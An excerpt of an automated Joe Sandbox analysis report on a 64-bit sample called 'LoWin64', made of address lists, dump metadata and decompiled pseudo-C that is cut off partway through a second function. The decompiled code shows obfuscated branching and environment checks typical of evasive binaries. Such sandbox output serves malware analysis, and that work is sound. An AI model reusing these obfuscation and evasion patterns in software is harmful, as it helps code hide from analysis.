0x7ff6b1ca81ef
0x7ff6b1ca81fa
0x7ff6b1ca81fb
0x7ff6b1ca81fe
0x7ff6b1ca8206
0x7ff6b1ca820c
0x7ff6b1ca8211
0x7ff6b1ca8216
0x7ff6b1ca8218
0x7ff6b1ca8220
0x7ff6b1ca8226
0x7ff6b1ca8228
0x7ff6b1ca822f
0x7ff6b1ca8233
0x7ff6b1ca823a
0x7ff6b1ca8242
0x7ff6b1ca8248
0x7ff6b1ca824e
0x7ff6b1ca8255
0x7ff6b1ca8258
0x7ff6b1ca825c
0x7ff6b1ca825e
0x7ff6b1ca8264
0x7ff6b1ca826c
0x7ff6b1ca8272
0x7ff6b1ca8274
0x7ff6b1ca8277
0x7ff6b1ca8279
0x7ff6b1ca827f
0x7ff6b1ca8287
0x7ff6b1ca8295
0x7ff6b1ca8298
0x7ff6b1ca829e
0x7ff6b1ca82a0
0x7ff6b1ca82ae
0x7ff6b1ca82b4
0x7ff6b1ca82ba
0x7ff6b1ca82c9
0x7ff6b1ca82cb
0x7ff6b1ca82d2
0x7ff6b1ca82d8
0x7ff6b1ca82db
0x7ff6b1ca82dd
0x7ff6b1ca82e3
0x7ff6b1ca82f4
0x7ff6b1ca82fb
0x7ff6b1ca8300
0x7ff6b1ca8306
0x7ff6b1ca8308
0x7ff6b1ca830c
0x7ff6b1ca8310
0x7ff6b1ca8314
0x7ff6b1ca8316
0x7ff6b1ca831b
0x7ff6b1ca831d
0x7ff6b1ca832b
0x7ff6b1ca8331
0x7ff6b1ca8336
0x7ff6b1ca8338
0x7ff6b1ca833f
0x7ff6b1ca834a
0x7ff6b1ca8356
0x7ff6b1ca835c
0x7ff6b1ca8361
0x7ff6b1ca8366
0x7ff6b1ca8368
0x7ff6b1ca8370
0x7ff6b1ca8376
0x7ff6b1ca8381
0x7ff6b1ca8387
0x7ff6b1ca838f
0x7ff6b1ca8395
0x7ff6b1ca8397
0x7ff6b1ca839a
0x7ff6b1ca839c
0x7ff6b1ca83a4
0x7ff6b1ca83ac
0x7ff6b1ca83af
0x7ff6b1ca83b1
0x7ff6b1ca83b7
0x7ff6b1ca83bf
0x7ff6b1ca83d0
0x7ff6b1ca83d6
0x7ff6b1ca83dd
0x7ff6b1ca83e0
0x7ff6b1ca83e4
0x7ff6b1ca83ef
0x7ff6b1ca83f0
0x7ff6b1ca83f2
0x7ff6b1ca83f8
0x7ff6b1ca83fe
0x7ff6b1ca8404
0x7ff6b1ca840a
0x7ff6b1ca8412
0x7ff6b1ca8418
0x7ff6b1ca8427
0x7ff6b1ca8429
0x7ff6b1ca842e
0x7ff6b1ca8430
0x7ff6b1ca8438
0x7ff6b1ca843e
0x7ff6b1ca8440
0x7ff6b1ca8448
0x7ff6b1ca844c
0x7ff6b1ca8450
0x7ff6b1ca8454
0x7ff6b1ca8456
0x7ff6b1ca845e
0x7ff6b1ca8464
0x7ff6b1ca8469
0x7ff6b1ca846b
0x7ff6b1ca8470
0x7ff6b1ca8475
0x7ff6b1ca847d
0x7ff6b1ca8483
0x7ff6b1ca848e
0x7ff6b1ca8494
0x7ff6b1ca849b
0x7ff6b1ca849f
0x7ff6b1ca84a5
0x7ff6b1ca84ab
0x7ff6b1ca84b3
0x7ff6b1ca84b9
0x7ff6b1ca84bb
0x7ff6b1ca84c2
0x7ff6b1ca84c6
0x7ff6b1ca84cd
0x7ff6b1ca84d3
0x7ff6b1ca84d8
0x7ff6b1ca84e0
0x7ff6b1ca84e6
0x7ff6b1ca84f1
0x7ff6b1ca84f7
0x7ff6b1ca84fe
0x7ff6b1ca8503
0x7ff6b1ca850b
0x7ff6b1ca8511
0x7ff6b1ca8516
0x7ff6b1ca8518
0x7ff6b1ca8520
0x7ff6b1ca852b
0x7ff6b1ca8536
0x7ff6b1ca8539
0x7ff6b1ca8541
0x7ff6b1ca8542
0x7ff6b1ca8543
0x7ff6b1ca8548
0x7ff6b1ca854e
0x7ff6b1ca8553
0x7ff6b1ca8558
0x7ff6b1ca855a
0x7ff6b1ca8562
0x7ff6b1ca856a
0x7ff6b1ca8574
0x7ff6b1ca8578
0x7ff6b1ca858f

APIs

GetDoubleClickTime.USER32 ref: 00007FF6B1CA805E

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID: ClickDoubleTime
String ID:
API String ID: 590776121-0
Opcode ID: 07f6b387bbd84b5f3edb52c886d6ebeb898be69e2371dc93fb89a7547c3af6fa
Instruction ID: 016eb8424d73041deba895cb4cf38007aca9d45ef154d74460ea7b7b1667f446
Opcode Fuzzy Hash: 07f6b387bbd84b5f3edb52c886d6ebeb898be69e2371dc93fb89a7547c3af6fa
Instruction Fuzzy Hash: EB619267F3CA0AA7E7115F3CAD491B972A07F20609F740339D709E218ADF3CB5828248

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CA7F3E Relevance: 6.2, APIs: 4, Instructions: 158
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00007FF67FF6B1CA7F3E(void* __eax, void* __edi, void* __ebp, void* __rdx, intOrPtr _a32, intOrPtr _a144, void* _a152, signed int _a160, signed long long _a168) {
				signed int _t84;
				void* _t106;
				signed int _t149;
				signed int _t160;
				signed int _t162;
				void* _t171;
				void* _t182;
				signed int _t189;
				void* _t190;
				void* _t192;
				void* _t200;
				void* _t203;
				void* _t204;
				void* _t206;
				void* _t214;
				void* _t215;
				void* _t217;
				void* _t229;
				void* _t232;
				void* _t235;
				void* _t238;
				void* _t241;
				void* _t244;
				void* _t247;
				void* _t250;
				void* _t253;
				void* _t256;
				void* _t259;
				void* _t262;
				signed long long _t265;
				void* _t268;
				void* _t271;
				void* _t274;
				void* _t277;
				void* _t280;
				void* _t283;
				void* _t286;
				void* _t289;
				void* _t292;
				signed long long _t295;
				void* _t298;
				signed long long _t303;
				void* _t306;
				void* _t309;
				void* _t312;
				void* _t315;
				void* _t318;
				void* _t327;
				void* _t330;
				void* _t333;
				void* _t336;
				void* _t339;
				void* _t342;
				void* _t345;
				void* _t351;
				void* _t356;
				signed long long _t374;
				void* _t377;
				signed long long _t380;
				void* _t386;

				_t232 = (_t229 - _t380 | _t374) + _t380;
				if (_t232 - 0x15 < 0) goto 0xb1ca7f84;
				if ((E00007FF67FF6B1D3ACF4(_t232) & r14d) >= 0) goto 0xb1ca7f59;
				_t235 = (_t232 - _t380 | _t374) + _t380;
				if (_t235 == 0x5e) goto 0xb1ca7f84;
				GetWindowTextLengthW(??);
				if ((E00007FF67FF6B1D3ACF4(_t235) & r14d) >= 0) goto 0xb1ca7f76;
				_t238 = (_t235 - _t380 | _t374) + _t380;
				goto 0xb1ca80da;
				E00007FF67FF6B1D3ACF4(_t238);
				if (_t238 - 0x15 >= 0) goto 0xb1ca7f94;
				_t241 = (_t238 - _t380 | _t374) + _t380;
				if (_t241 - 0x63 < 0) goto 0xb1ca7fb2;
				if ((E00007FF67FF6B1D3ACF4(_t241) & r14d) >= 0) goto 0xb1ca7fa9;
				_t244 = (_t241 - _t380 | _t374) + _t380;
				_t182 = _t244 - 0x13;
				if (_t182 <= 0) goto 0xb1ca80c1;
				E00007FF67FF6B1D3ACF4(_t244);
				if (_t182 >= 0) goto 0xb1ca7fc2;
				_t247 = (_t244 - _t380 | _t374) + _t380;
				asm("movsd xmm6, [0x1169fe]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t182 < 0) goto 0xb1ca80ba;
				if ((E00007FF67FF6B1D3ACF4(_t247) & r14d) >= 0) goto 0xb1ca7fec;
				_t250 = (_t247 - _t380 | _t374) + _t380;
				if (_t250 - 0x1e < 0) goto 0xb1ca80ba;
				if ((E00007FF67FF6B1D3ACF4(_t250) & r14d) >= 0) goto 0xb1ca8005;
				_t253 = (_t250 - _t380 | _t374) + _t380;
				if (_t253 - 0x78 <= 0) goto 0xb1ca8031;
				GetCurrentProcess();
				if ((E00007FF67FF6B1D3ACF4(_t253) & r14d) >= 0) goto 0xb1ca8020;
				_t256 = (_t253 - _t380 | _t374) + _t380;
				 *0xb1decf60 = 0;
				goto 0xb1ca8090;
				E00007FF67FF6B1D3ACF4(_t256);
				_t189 = E00007FF67FF6B1D3ACF4(_t256) & r14d;
				if (_t189 >= 0) goto 0xb1ca8046;
				_t259 = (_t256 - _t380 | _t374) + _t380;
				asm("movsd xmm0, [0x116742]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("ucomisd xmm0, xmm1");
				if (_t189 != 0) goto 0xb1ca805e;
				if (_t189 == 0) goto 0xb1ca8064;
				GetDoubleClickTime();
				 *0xb1decf60 = _t380;
				E00007FF67FF6B1D3ACF4(_t259);
				if (_t189 >= 0) goto 0xb1ca807a;
				_t262 = (_t259 - _t380 | _t374) + _t380;
				_t190 = _t262 - 0x3f;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t262);
				if (_t190 >= 0) goto 0xb1ca80a0;
				_t265 = (_t262 - _t380 | _t374) + _t380;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = _t265;
				goto 0xb1ca80c1;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t265);
				if (_t190 >= 0) goto 0xb1ca80d1;
				_t268 = (_t265 - _t380 | _t374) + _t380;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t268);
				if (_t268 - 0x13 >= 0) goto 0xb1ca80f7;
				_t271 = (_t268 - _t380 | _t374) + _t380;
				_t192 = _t271 - 0x3f;
				if (_t192 >= 0) goto 0xb1ca811d;
				E00007FF67FF6B1D3ACF4(_t271);
				if (_t192 >= 0) goto 0xb1ca810c;
				_t274 = (_t271 - _t380 | _t374) + _t380;
				_t160 = r15d & 0xffffff00 | _t274 - 0x0000003f < 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t274) & r14d) >= 0) goto 0xb1ca812d;
				_t277 = (_t274 - _t380 | _t374) + _t380;
				if (_t277 - 0x18 >= 0) goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t277) & r14d) >= 0) goto 0xb1ca8142;
				_t280 = (_t277 - _t380 | _t374) + _t380;
				if (_t280 != 0x7e) goto 0xb1ca8168;
				_t84 = E00007FF67FF6B1D3ACF4(_t280);
				_t85 = _t84 & r14d;
				if ((_t84 & r14d) >= 0) goto 0xb1ca8157;
				_t283 = (_t280 - _t380 | _t374) + _t380;
				r8d = r15d;
				r8b = _t283 - 0x18 < 0;
				 *0xb1decf60 = r8d;
				r9d = _a32;
				r8d = _a160;
				E00007FF67FF6B1CB41F0(_t85, _t171, _t356, _a144, _t377); // executed
				E00007FF67FF6B1CB4910(E00007FF67FF6B1D3B360(_t160, _t356, 0, _t283, _t386), _t171, _a144);
				 *0xb1decf60 = _t380;
				E00007FF67FF6B1D3ACF4(_t283);
				E00007FF67FF6B1D3ACF4(_t283);
				asm("push es");
				_t286 = (_t283 - _t380 | 0xffffff80) + _t380;
				asm("movsd xmm6, [0x11694a]");
				_t200 = _t286 - 5;
				if (_t200 != 0) goto 0xb1ca81f1;
				E00007FF67FF6B1D3ACF4(_t286);
				if (_t200 >= 0) goto 0xb1ca81e3;
				_t289 = (_t286 - _t380 | 0xffffff80) + _t380;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t200 < 0) goto 0xb1ca8240;
				asm("bound ecx, [ebp+0x14]");
				asm("dec ebp");
				E00007FF67FF6B1D3ACF4(_t289);
				if (_t200 >= 0) goto 0xb1ca820e;
				_t292 = (_t289 - _t380 | 0xffffff80) + _t380;
				if (_t292 - 0x79 >= 0) goto 0xb1ca8218;
				if (0x60 - 0x67 < 0) goto 0xb1ca81f6;
				E00007FF67FF6B1D3ACF4(_t292);
				if (0x60 - 0x67 >= 0) goto 0xb1ca8228;
				_t295 = (_t292 - _t380 | 0xffffff80) + _t380;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = _t295;
				 *0xb1decf60 = _t380;
				GetWindowTextLengthW(??);
				 *0xb1decf60 = r12d;
				r12d = r12d + __ebp;
				_t203 = r12d - 0x42;
				if (_t203 < 0) goto 0xb1ca824e;
				GetMessageTime();
				E00007FF67FF6B1D3ACF4(_t295);
				if (_t203 >= 0) goto 0xb1ca8274;
				_t298 = (_t295 - _t380 | 0xffffff80) + _t380;
				_t204 = _t298 - 0x2e;
				if (_t204 > 0) goto 0xb1ca82a0;
				GetUserDefaultLangID();
				E00007FF67FF6B1D3ACF4(_t298);
				if (_t204 >= 0) goto 0xb1ca828f;
				_t162 = r15d & 0xffffff00 | (_t298 - _t380 | 0xffffff80) + _t380 - 0x0000002e <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca82e3;
				_t106 = E00007FF67FF6B1D3ACF4((_t298 - _t380 | 0xffffff80) + _t380);
				 *0x144CAB2D =  *((intOrPtr*)(0x144cab2d)) + _t162;
				 *0x144CA51D =  *((intOrPtr*)(0x144ca51d)) + _t162;
				 *0x6b =  *0x6b + _t106;
				_t303 = _a168 + _t380;
				_a168 = _t303;
				 *0xb1decf60 = _t303;
				_t206 = _t303 - 0x1f;
				if (_t206 < 0) goto 0xb1ca82a5;
				 *0xb1decf60 = _t380;
				asm("movsd xmm6, [0x116455]");
				_push(0xe800144c);
				 *_t303 =  *_t303 | _t303;
				if (_t206 >= 0) goto 0xb1ca8308;
				_t306 = (_t303 - _t380 | 0xffffff80) + _t380;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t206 != 0) goto 0xb1ca8318;
				if (_t206 == 0) goto 0xb1ca831d;
				if (0x3 - 0x13 < 0) goto 0xb1ca82f0; // executed
				GetForegroundWindow();
				if ((E00007FF67FF6B1D3ACF4(_t306) & r14d) >= 0) goto 0xb1ca8333;
				_t309 = (_t306 - _t380 | 0xffffff80) + _t380;
				if (_t309 - 0x34 >= 0) goto 0xb1ca8341;
				 *0xb1decf60 = r15d;
				goto 0xb1ca8387;
				asm("adc cl, [esp+edx]");
				if ((E00007FF67FF6B1D3ACF4(_t309) & r14d) >= 0) goto 0xb1ca835e;
				_t312 = (_t309 - _t380 | 0xffffff80) + _t380;
				if (_t312 - 0x1a >= 0) goto 0xb1ca8368;
				if (0x45 - 0x52 < 0) goto 0xb1ca8346;
				E00007FF67FF6B1D3ACF4(_t312);
				if (0x45 - 0x52 >= 0) goto 0xb1ca8378;
				_t315 = (_t312 - _t380 | 0xffffff80) + _t380;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t315);
				if (_t315 - 0x34 >= 0) goto 0xb1ca8397;
				_t318 = (_t315 - _t380 | 0xffffff80) + _t380;
				_t214 = _t318 - 0x1f;
				if (_t214 != 0) goto 0xb1ca83d6;
				E00007FF67FF6B1D3ACF4(_t318);
				if (_t214 >= 0) goto 0xb1ca83ac;
				_t215 = (_t318 - _t380 | 0xffffff80) + _t380 - 4;
				if (_t215 == 0) goto 0xb1ca83d6;
				GetForegroundWindow();
				E00007FF67FF6B1D3ACF4((_t318 - _t380 | 0xffffff80) + _t380);
				if (_t215 >= 0) goto 0xb1ca83c7;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r13d;
				r13d = r13d + __ebp;
				_t217 = r13d - 0x54;
				if (_t217 < 0) goto 0xb1ca83d6;
				asm("push ss");
				if (_t217 < 0) goto 0xb1ca83eb;
				 *0xb1decf60 = 0x10;
				 *0xb1decf60 = _t380;
				GetUserDefaultLangID();
				GetCurrentProcessId();
				GetTickCount();
				 *0xb1decf60 = _t380;
				IsIconic(??);
				asm("adc al, 0x0");
				_t327 = 0x50 + _t380;
				if (0x50 - 0x56 < 0) goto 0xb1ca8423;
				E00007FF67FF6B1D3ACF4(_t327);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8440;
				_t330 = (_t327 - _t380 | 0xffffff80) + _t380;
				asm("movsd xmm6, [0x1163f8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x50 - 0x56 >= 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t330);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8466;
				_t333 = (_t330 - _t380 | 0xffffff80) + _t380;
				if (0x50 - 0x63 < 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t333);
				E00007FF67FF6B1D3ACF4(_t333);
				E00007FF67FF6B1D3ACF4(_t333);
				if (0x50 - 0x63 >= 0) goto 0xb1ca8485;
				_t336 = (_t333 - _t380 | 0xffffff80) + _t380;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				goto 0xb1ca84d3;
				E00007FF67FF6B1DA4028();
				 *0xb1decf60 = _t380;
				E00007FF67FF6B1D3ACF4(_t336);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84bb;
				_t339 = (_t336 - _t380 | 0xffffff80) + _t380;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x50;
				E00007FF67FF6B1D3ACF4(_t339);
				E00007FF67FF6B1D3ACF4(_t339);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84e8;
				_t342 = (_t339 - _t380 | 0xffffff80) + _t380;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t342);
				E00007FF67FF6B1D3ACF4(_t342);
				if (0x50 - 0x6c >= 0) goto 0xb1ca8513;
				_t345 = (_t342 - _t380 | 0xffffff80) + _t380;
				if (0x50 - 0x18 >= 0) goto 0xb1ca855a;
				E00007FF67FF6B1D3ACF4(_t345);
				if (0x50 - 0x18 >= 0) goto 0xb1ca8528;
				if (0x50 - 0x19 > 0) goto 0xb1ca855a;
				asm("sldt word [ebx]");
				asm("fisttp qword [ecx+0x144a201d]");
				asm("scasd");
				asm("daa");
				 *0x50 =  *0x50 | 0x00000050;
				if (0x50 - 0x19 >= 0) goto 0xb1ca8550;
				_t351 = ((_t345 - _t380 | 0xffffff80) + _t380 - _t380 | 0xffffff80) + _t380;
				if (0x50 != 0x3b) goto 0xb1ca855a;
				if (0x3e - 0x49 < 0) goto 0xb1ca8532;
				_t149 = E00007FF67FF6B1D3ACF4(_t351);
				if (0x3e - 0x49 >= 0) goto 0xb1ca856a;
				asm("movaps xmm6, [esp+0x30]");
				r15b = (_t351 - _t380 | 0xffffff80) + _t380 - 0x19 > 0;
				 *0xb1decf60 = r15d;
				return _t149 & r14d;
			}

0x7ff6b1ca7f42
0x7ff6b1ca7f47
0x7ff6b1ca7f51
0x7ff6b1ca7f57
0x7ff6b1ca7f5c
0x7ff6b1ca7f60
0x7ff6b1ca7f6e
0x7ff6b1ca7f74
0x7ff6b1ca7f7f
0x7ff6b1ca7f84
0x7ff6b1ca7f8c
0x7ff6b1ca7f92
0x7ff6b1ca7f97
0x7ff6b1ca7fa1
0x7ff6b1ca7fa7
0x7ff6b1ca7fa9
0x7ff6b1ca7fac
0x7ff6b1ca7fb2
0x7ff6b1ca7fba
0x7ff6b1ca7fc0
0x7ff6b1ca7fc2
0x7ff6b1ca7fca
0x7ff6b1ca7fce
0x7ff6b1ca7fd2
0x7ff6b1ca7fd6
0x7ff6b1ca7fe4
0x7ff6b1ca7fea
0x7ff6b1ca7fef
0x7ff6b1ca7ffd
0x7ff6b1ca8003
0x7ff6b1ca8008
0x7ff6b1ca800a
0x7ff6b1ca8018
0x7ff6b1ca801e
0x7ff6b1ca8029
0x7ff6b1ca802f
0x7ff6b1ca8031
0x7ff6b1ca803b
0x7ff6b1ca803e
0x7ff6b1ca8044
0x7ff6b1ca8046
0x7ff6b1ca804e
0x7ff6b1ca8052
0x7ff6b1ca8056
0x7ff6b1ca805a
0x7ff6b1ca805c
0x7ff6b1ca805e
0x7ff6b1ca8064
0x7ff6b1ca806a
0x7ff6b1ca8072
0x7ff6b1ca8078
0x7ff6b1ca807d
0x7ff6b1ca8083
0x7ff6b1ca8089
0x7ff6b1ca8090
0x7ff6b1ca8098
0x7ff6b1ca809e
0x7ff6b1ca80a0
0x7ff6b1ca80a7
0x7ff6b1ca80ab
0x7ff6b1ca80b2
0x7ff6b1ca80b8
0x7ff6b1ca80ba
0x7ff6b1ca80c1
0x7ff6b1ca80c9
0x7ff6b1ca80cf
0x7ff6b1ca80da
0x7ff6b1ca80e0
0x7ff6b1ca80e7
0x7ff6b1ca80ef
0x7ff6b1ca80f5
0x7ff6b1ca80f7
0x7ff6b1ca80fa
0x7ff6b1ca80fc
0x7ff6b1ca8104
0x7ff6b1ca810a
0x7ff6b1ca8112
0x7ff6b1ca8115
0x7ff6b1ca811b
0x7ff6b1ca8125
0x7ff6b1ca812b
0x7ff6b1ca8130
0x7ff6b1ca813a
0x7ff6b1ca8140
0x7ff6b1ca8145
0x7ff6b1ca8147
0x7ff6b1ca814c
0x7ff6b1ca814f
0x7ff6b1ca8155
0x7ff6b1ca8157
0x7ff6b1ca815d
0x7ff6b1ca8161
0x7ff6b1ca8168
0x7ff6b1ca816d
0x7ff6b1ca8184
0x7ff6b1ca81a1
0x7ff6b1ca81a6
0x7ff6b1ca81ac
0x7ff6b1ca81b1
0x7ff6b1ca81bf
0x7ff6b1ca81c4
0x7ff6b1ca81c6
0x7ff6b1ca81ce
0x7ff6b1ca81d1
0x7ff6b1ca81d3
0x7ff6b1ca81db
0x7ff6b1ca81e1
0x7ff6b1ca81e3
0x7ff6b1ca81e7
0x7ff6b1ca81eb
0x7ff6b1ca81ef
0x7ff6b1ca81fa
0x7ff6b1ca81fb
0x7ff6b1ca81fe
0x7ff6b1ca8206
0x7ff6b1ca820c
0x7ff6b1ca8211
0x7ff6b1ca8216
0x7ff6b1ca8218
0x7ff6b1ca8220
0x7ff6b1ca8226
0x7ff6b1ca8228
0x7ff6b1ca822f
0x7ff6b1ca8233
0x7ff6b1ca823a
0x7ff6b1ca8242
0x7ff6b1ca8248
0x7ff6b1ca824e
0x7ff6b1ca8255
0x7ff6b1ca8258
0x7ff6b1ca825c
0x7ff6b1ca825e
0x7ff6b1ca8264
0x7ff6b1ca826c
0x7ff6b1ca8272
0x7ff6b1ca8274
0x7ff6b1ca8277
0x7ff6b1ca8279
0x7ff6b1ca827f
0x7ff6b1ca8287
0x7ff6b1ca8295
0x7ff6b1ca8298
0x7ff6b1ca829e
0x7ff6b1ca82a0
0x7ff6b1ca82ae
0x7ff6b1ca82b4
0x7ff6b1ca82ba
0x7ff6b1ca82c9
0x7ff6b1ca82cb
0x7ff6b1ca82d2
0x7ff6b1ca82d8
0x7ff6b1ca82db
0x7ff6b1ca82dd
0x7ff6b1ca82e3
0x7ff6b1ca82f4
0x7ff6b1ca82fb
0x7ff6b1ca8300
0x7ff6b1ca8306
0x7ff6b1ca8308
0x7ff6b1ca830c
0x7ff6b1ca8310
0x7ff6b1ca8314
0x7ff6b1ca8316
0x7ff6b1ca831b
0x7ff6b1ca831d
0x7ff6b1ca832b
0x7ff6b1ca8331
0x7ff6b1ca8336
0x7ff6b1ca8338
0x7ff6b1ca833f
0x7ff6b1ca834a
0x7ff6b1ca8356
0x7ff6b1ca835c
0x7ff6b1ca8361
0x7ff6b1ca8366
0x7ff6b1ca8368
0x7ff6b1ca8370
0x7ff6b1ca8376
0x7ff6b1ca8381
0x7ff6b1ca8387
0x7ff6b1ca838f
0x7ff6b1ca8395
0x7ff6b1ca8397
0x7ff6b1ca839a
0x7ff6b1ca839c
0x7ff6b1ca83a4
0x7ff6b1ca83ac
0x7ff6b1ca83af
0x7ff6b1ca83b1
0x7ff6b1ca83b7
0x7ff6b1ca83bf
0x7ff6b1ca83d0
0x7ff6b1ca83d6
0x7ff6b1ca83dd
0x7ff6b1ca83e0
0x7ff6b1ca83e4
0x7ff6b1ca83ef
0x7ff6b1ca83f0
0x7ff6b1ca83f2
0x7ff6b1ca83f8
0x7ff6b1ca83fe
0x7ff6b1ca8404
0x7ff6b1ca840a
0x7ff6b1ca8412
0x7ff6b1ca8418
0x7ff6b1ca8427
0x7ff6b1ca8429
0x7ff6b1ca842e
0x7ff6b1ca8430
0x7ff6b1ca8438
0x7ff6b1ca843e
0x7ff6b1ca8440
0x7ff6b1ca8448
0x7ff6b1ca844c
0x7ff6b1ca8450
0x7ff6b1ca8454
0x7ff6b1ca8456
0x7ff6b1ca845e
0x7ff6b1ca8464
0x7ff6b1ca8469
0x7ff6b1ca846b
0x7ff6b1ca8470
0x7ff6b1ca8475
0x7ff6b1ca847d
0x7ff6b1ca8483
0x7ff6b1ca848e
0x7ff6b1ca8494
0x7ff6b1ca849b
0x7ff6b1ca849f
0x7ff6b1ca84a5
0x7ff6b1ca84ab
0x7ff6b1ca84b3
0x7ff6b1ca84b9
0x7ff6b1ca84bb
0x7ff6b1ca84c2
0x7ff6b1ca84c6
0x7ff6b1ca84cd
0x7ff6b1ca84d3
0x7ff6b1ca84d8
0x7ff6b1ca84e0
0x7ff6b1ca84e6
0x7ff6b1ca84f1
0x7ff6b1ca84f7
0x7ff6b1ca84fe
0x7ff6b1ca8503
0x7ff6b1ca850b
0x7ff6b1ca8511
0x7ff6b1ca8516
0x7ff6b1ca8518
0x7ff6b1ca8520
0x7ff6b1ca852b
0x7ff6b1ca8536
0x7ff6b1ca8539
0x7ff6b1ca8541
0x7ff6b1ca8542
0x7ff6b1ca8543
0x7ff6b1ca8548
0x7ff6b1ca854e
0x7ff6b1ca8553
0x7ff6b1ca8558
0x7ff6b1ca855a
0x7ff6b1ca8562
0x7ff6b1ca856a
0x7ff6b1ca8574
0x7ff6b1ca8578
0x7ff6b1ca858f

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fc23f70522de7b22e577f7a7f4a702f71960ffa089e9250178945074853faa4
Instruction ID: 00cda0b4e7b6bd802fd4693ee3ce493d5325a31d7bf74df1b617329ba823320e
Opcode Fuzzy Hash: 8fc23f70522de7b22e577f7a7f4a702f71960ffa089e9250178945074853faa4
Instruction Fuzzy Hash: AE516E67F3CA0A67F7115F2CAD4D2B962A16F20709F740739C749E118ADF3CB5858249

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CA7FA3 Relevance: 6.2, APIs: 4, Instructions: 157
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00007FF67FF6B1CA7FA3(void* __eax, void* __edi, void* __ebp, void* __rdx, intOrPtr _a32, intOrPtr _a144, void* _a152, signed int _a160, signed long long _a168) {
				signed int _t73;
				void* _t95;
				signed int _t138;
				signed int _t147;
				signed int _t149;
				void* _t158;
				void* _t162;
				signed int _t169;
				void* _t170;
				void* _t172;
				void* _t180;
				void* _t183;
				void* _t184;
				void* _t186;
				void* _t194;
				void* _t195;
				void* _t197;
				void* _t209;
				void* _t212;
				void* _t215;
				void* _t218;
				void* _t221;
				void* _t224;
				void* _t227;
				void* _t230;
				signed long long _t233;
				void* _t236;
				void* _t239;
				void* _t242;
				void* _t245;
